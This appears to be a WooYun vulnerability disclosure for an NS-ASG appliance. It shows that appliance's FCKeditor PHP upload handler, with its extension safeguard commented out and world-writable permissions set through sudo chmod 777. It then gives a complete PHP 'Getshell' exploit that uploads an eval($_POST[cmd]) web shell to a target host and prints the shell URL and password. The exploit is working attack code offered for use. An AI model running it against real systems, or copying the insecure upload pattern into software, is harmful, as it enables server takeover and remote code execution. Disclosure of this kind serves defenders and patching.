WooYun.org

require('config.php') ;


require('util.php') ;





// This is the function that sends the results of the uploading process.


function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )


{


	echo '<script type="text/javascript">' ;


	echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;


	echo '</script>' ;


	exit ;


}





// Check if this uploader has been enabled.


if ( !$Config['Enabled'] )


	SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;





// Check if the file has been correctly uploaded.


if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )


	SendResults( '202' ) ;





// Get the posted file.


$oFile = $_FILES['NewFile'] ;





// Get the uploaded file name extension.


$sFileName = $oFile['name'] ;





// Replace dots in the name with underscores (only one dot can be there... security issue).


//if ( $Config['ForceSingleExtension'] ) //change by linyh


//	$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;





$sOriginalFileName = $sFileName ;





// Get the extension.


$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;


$sExtension = strtolower( $sExtension ) ;





// The the file type (from the QueryString, by default 'File').


$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;





// Check if it is an allowed type.


if ( !in_array( $sType, array('File','Image','Flash','Media') ) )


    SendResults( 1, '', '', 'Invalid type specified' ) ;





// Get the allowed and denied extensions arrays.


$arAllowed	= $Config['AllowedExtensions'][$sType] ;


$arDenied	= $Config['DeniedExtensions'][$sType] ;





// Check if it is an allowed extension.


if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )


	SendResults( '202' ) ;





$sErrorNumber	= '0' ;


$sFileUrl		= '' ;





// Initializes the counter used to rename the file, if another one with the same name already exists.


$iCounter = 0 ;





// Get the target directory.


if ( isset( $Config['UserFilesAbsolutePath'] ) && strlen( $Config['UserFilesAbsolutePath'] ) > 0 )


	$sServerDir = $Config['UserFilesAbsolutePath'] ;


else


	$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;





exec("sudo chmod -R 777 ".$sServerDir);


$sRootPath = $sServerDir;





if ( $Config['UseFileType'] )


	$sServerDir .= strtolower($sType) . '/' ;





//check for the directory before uploading the file


if(!is_dir($sServerDir))


{


    mkdir($sServerDir);


} 





while ( true )


{


	// Compose the file path.


	$sFilePath = $sServerDir . $sFileName ;


	// If a file with that name already exists.


	if ( is_file( $sFilePath ) )


	{


		$iCounter++ ;


		$sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;


		$sErrorNumber = '201' ;


	}


	else


	{


		move_uploaded_file( $oFile['tmp_name'],$sFilePath ) ;


		if ( is_file( $sFilePath ) )


		{


			$oldumask = umask(0) ;


			chmod( $sFilePath, 0777 ) ;


			umask( $oldumask ) ;


		}





		if ( $Config['UseFileType'] )


			$sFileUrl = $Config["UserFilesPath"] . strtolower($sType) . '/' . $sFileName ;


		else


			$sFileUrl = $Config["UserFilesPath"] . $sFileName ;





		break ;


	}


}

<?php


print_r('


      +--------------------------------------------------------------+


                  NS-ASG Getshell  Exploit


      +--------------------------------------------------------------+


');


if ($argc < 2) {


      print_r('


      +--------------------------------------------------------------+


                  Example:


                  php '.$argv[0].' localhost


      +--------------------------------------------------------------+


      ');


      exit;


}


$host = $argv[1];


$file = 'index.php';


$path = "/admin/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media";


$url = 'https://'.$host.$path;


$fp = fopen("$file","w") or die('can not write');


fwrite($fp,"<?php phpinfo();eval(\$_POST[cmd]);?>");


fclose($fp);


$data = array('NewFile'=>'@'. dirname(__FILE__)."/$file");








	$curl = curl_init(); 


	curl_setopt ( $curl, CURLOPT_URL, $url ); // 


	curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 ); 


	curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 ); 


	curl_setopt ( $curl, CURLOPT_USERAGENT, "Mozilla/4.0" ); 


	@curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 ); 


	curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 ); 


	curl_setopt ( $curl, CURLOPT_POST, 1 ); 


	curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data ); 


	


	curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 ); 


	curl_setopt ( $curl, CURLOPT_HEADER, 0 ); 


	curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );


	$tmpInfo = curl_exec ( $curl ); 


	if (curl_errno ( $curl )) {


		echo 'Errno' . curl_error ( $curl );


	}


	curl_close ( $curl );


    //echo $tmpInfo;	


    preg_match('/201,\"(.*)\",\"/iU',$tmpInfo,$matchs);


	$url = 'https://'.$host.$matchs[1];


	print 'Shell: '.$url.'   password: cmd';